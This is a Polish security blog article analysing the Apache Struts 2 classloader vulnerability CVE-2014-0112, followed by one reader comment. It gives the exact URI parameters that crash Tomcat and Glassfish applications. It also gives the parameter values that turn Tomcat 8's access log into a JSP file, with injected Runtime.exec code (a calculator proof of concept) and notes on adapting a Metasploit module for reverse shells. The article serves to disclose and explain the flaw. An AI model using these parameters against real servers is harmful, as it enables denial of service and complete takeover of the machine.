Żądny wiedzy? Wbijaj na Mega Sekurak Hacking Party w maju! -30% z kodem: majearly

Ataki na Struts 2 (CVE-2014-0112), cz. 1

10 marca 2015, 12:58 | Teksty | 1 komentarz

Wstęp

Witam! Chciałbym przedstawić atak na web aplikacje oparte o framework Struts2. Jednak zanim zagłębię się w szczegóły samego ataku przyjrzymy się podatności, która zwróciła moją uwagę na ten wektor.

Struts2 jest frameworkiem umożliwiającym tworzenie aplikacji webowych w języku Java. Powstał jako połączenie dwóch społeczności pracujących wcześniej nad frameworkami Apache Struts i WebWork. Struts skupia się głównie nad prezentacją i kontrolowaniem danych.

W okolicach maja wypuszczony został patch łatający dość poważną podatność (CVE-2014-0094). Z powodu braku odpowiednich zabezpieczeń atakujący miał dostęp do classloadera aplikacji.

Classloader jest częścią Java Runtime Environment. Jego zadaniem jest dynamiczne ładowanie klas do wirtualnej maszyny Javy. Classloader jest napisany w Javie, tak więc możliwe jest tworzenie własnych classloaderów. Serwery aplikacji (aplikacje służące do hostowania aplikacji webowych napisanych w Javie) posiadają własne classloadery (struktura drzewa, tak aby odizolować od siebie aplikacje). Dodatkowo każda klasa może odwołać się do classloadera, tzn. ma dostęp do jego publicznych metod (ta właściwość była wykorzystywana w podatności).

Niestety okazało się, że patch nie załatał w pełni tej podatności (stosując proste techniki można było nadal modyfikować atrybuty classloadera) i tym samym narodził się Zero-Day (CVE-2014-0112).

Zero-Day

Cały atak opierał się na braku odpowiednich reguł w filtrach sprawdzających parametry w URI, przesłane do aplikacji. Framework nie blokował parametrów zawierających class.classLoader.resources co po przetworzeniu przez framework wywoływało w klasie metody: getClass().getClassLoader().getResources().

W zależności od implementacji ClassLoadera, która zależała od serwera aplikacji bądź jego wersji, atakujący miał dostęp do różnych atrybutów (referencje do pastebina). Ewentualnie listę dostępnych atrybutów można wygenerować korzystając ze skryptu udostępnionego tutaj. W przypadku Glassfisha w wersji 3 oraz 4, a także Tomcata w wersji 6 i 8 (nie sprawdzałem 7) możliwy był dostęp do atrybutu class.classLoader.resources.dirContext.docBase. Modyfikując ten parametr można przeprowadzić atak DoS na aplikację.

Tomcat 8 daje dodatkowo dostęp do większej liczby atrybutów, w tym:

  • class.classLoader.resources.context.parent.pipeline.first.directory
  • class.classLoader.resources.context.parent.pipeline.first.prefix
  • class.classLoader.resources.context.parent.pipeline.first.suffix
  • class.classLoader.resources.context.parent.pipeline.first.fileDateFormat

Sterują one lokalizacją, nazwą i rozszerzeniem pliku z logami. Po odpowiedniej manipulacji możliwe jest wykonanie dowolnego kodu Java po stronie serwera aplikacji. Przyjrzyjmy się najpierw atakowi DOS, na który narażone jest więcej serwerów aplikacji.

Atak – DoS aplikacji

Jak wspomniałem wcześniej atak tego typu możliwy jest m.in. na serwery Tomcat w wersji 6 i 8, oraz Glassfish w wersji 3 i 4. DoS możliwy jest poprzez zmianę parametru class.classLoader.resources.dirContext.docBase.

Po ustawieniu powyższego parametru na dowolną wartość aplikacja przestaje działać.

1. DOS aplikacji - serwer Tomcat 6

1. DOS aplikacji – serwer Tomcat 6

Aplikacja nie odnajduje wymaganych plików i tym samym przestaje działać. Jedynym sposobem na przywrócenie funkcjonalności aplikacji jest restart serwera.

Atak – Remote Code Execution

Posiadacze Tomcata w wersji 8 mieli (być może niektórzy nadal mają) większe zmartwienie, w postaci możliwości wykonania dowolnego kodu z uprawnieniami serwera aplikacji. W tym przypadku zmianie ulegają atrybuty:

  • class.classLoader.resources.context.parent.pipeline.first.directory
  • class.classLoader.resources.context.parent.pipeline.first.prefix
  • class.classLoader.resources.context.parent.pipeline.first.suffix 
  • class.classLoader.resources.context.parent.pipeline.first.fileDateFormat

Wywołanie strony z poniższymi parametrami w URI:

  • class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
  • class.classLoader.resources.context.parent.pipeline.first.prefix=szel
  • class.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
  • class.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1

wykonuje następujące czynności:

  • zmiana folderu pliku z logami
  • ustawienie prefiksu nazwy pliku z logami na „szel”
  • ustawienie suffiksu nazwy pliku z logami na „.jsp” (serwer aplikacji przetwarza pliki z takim rozszerzeniem przed ich wyświetleniem)
  • ustawia format zapisywanej daty

Poniżej listing katalogu webapps/ROOT po zmianie lokalizacji pliku z logami.

2. Nowy plik logów.

2. Nowy plik logów.

Nasz „plik z logami” został utworzony. Używając URI możemy do niego wpisywać dowolną zawartość :)

3. Wstrzykiwanie poleceń do logów.

3. Wstrzykiwanie poleceń do logów.

Aby przejść dalej, tzn. wykonać kod po stronie serwera, wymagana jest wiedza jak wskazać serwerowi aplikacji kod Javy, który ma wykonać. Gdyby był to plik php wstawilibyśmy:

<?php
// kod do wykonania
?>

W Javie, a mówiąc dokładniej w JSP (Java Server Pages), kod Javy musi być otoczony znacznikami <% %> . W moim środowisku testowym Tomcat działa w Windowsie, tak więc standardowo spróbuję uruchomić kalkulator. Kod, który to umożliwia wygląda następująco:

<%Runtime.getRuntime().exec("C:\\WINDOWS\\system32\\calc.exe");%>

Wstrzykiwany kod może być rozbudowany i znajdować się w wielu liniach. Jedynym ograniczeniem jest to, że przed znacznikiem zamykającym kawałek kodu musi znajdować się średnik (linia kodu musi się kończyć). Warto zwrócić uwagę czy używana przeglądarka nie enkoduje znaków specjalnych w URI. W moim przypadku Firefox zmieniał znaczniki co skutkowało takimi wpisami w logach:

127.0.0.1 - - [04/Nov/2014:20:20:51 -0800] "GET /struts-empty/example/HelloWorld.action?%3C%Runtime.getRuntime().exec(%22C:\\WINDOWS\\system32\\calc.exe%22);%%3E HTTP/1.1" 200 628

Niestety taki wpis nie zostanie przetworzony przez serwer aplikacji…Używając IE nie natrafiłem na ten problem. Tak wygląda to w logach:

4. Wstrzyknięty kod Javy.

4. Wstrzyknięty kod Javy.

Po wywołaniu strony z logami w przeglądarce…nic się nie dzieje :( Ale czy aby na pewno…rzut oka na listę procesów:

5. Lista procesów w systemie.

5. Lista procesów w systemie.

Sukces! Proces kalkulatora został utworzony. W moim przypadku Tomcat chodził jako usługa, do tego z uprawnieniami użytkownika SYSTEM, tak więc udany atak oznacza całkowitą kontrolę nad maszyną. W sieci można znaleźć gotowe moduły do Metasploita, które ułatwiają przeprowadzenie ataku i dają dostęp do shell’a na maszynie. Moduł, który znalazłem był niestety kiepsko napisany (na szczęście administratorów) i nie dawał możliwości przesłania payloadu w postaci EXE (reverse shell jest nadal możliwy z wykorzystaniem payloadu Javowego). Po lekkiej modyfikacji kodu modułu (przesyłany Base64 musi zostać rozbity na kilka requestów) możliwe jest przesłanie dowolnego payloadu do serwera aplikacji i późniejsze jego wykonanie.

Podsumowując, opisana tutaj podatność może stanowić poważne zagrożenie. Znając życie (i administratorów/programistów) nie wszystkie aplikacje zostały załatane. W kolejnym tekście chciałbym przedstawić analizę tego ataku i przedstawić wektor ataku na aplikacje korzystające ze Strutsów.

Marcin Gębarowski

Linki

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. Rafał

    (referencje do pastebina) – chyba się coś nie zalinkowało :)

    Odpowiedz

Odpowiedz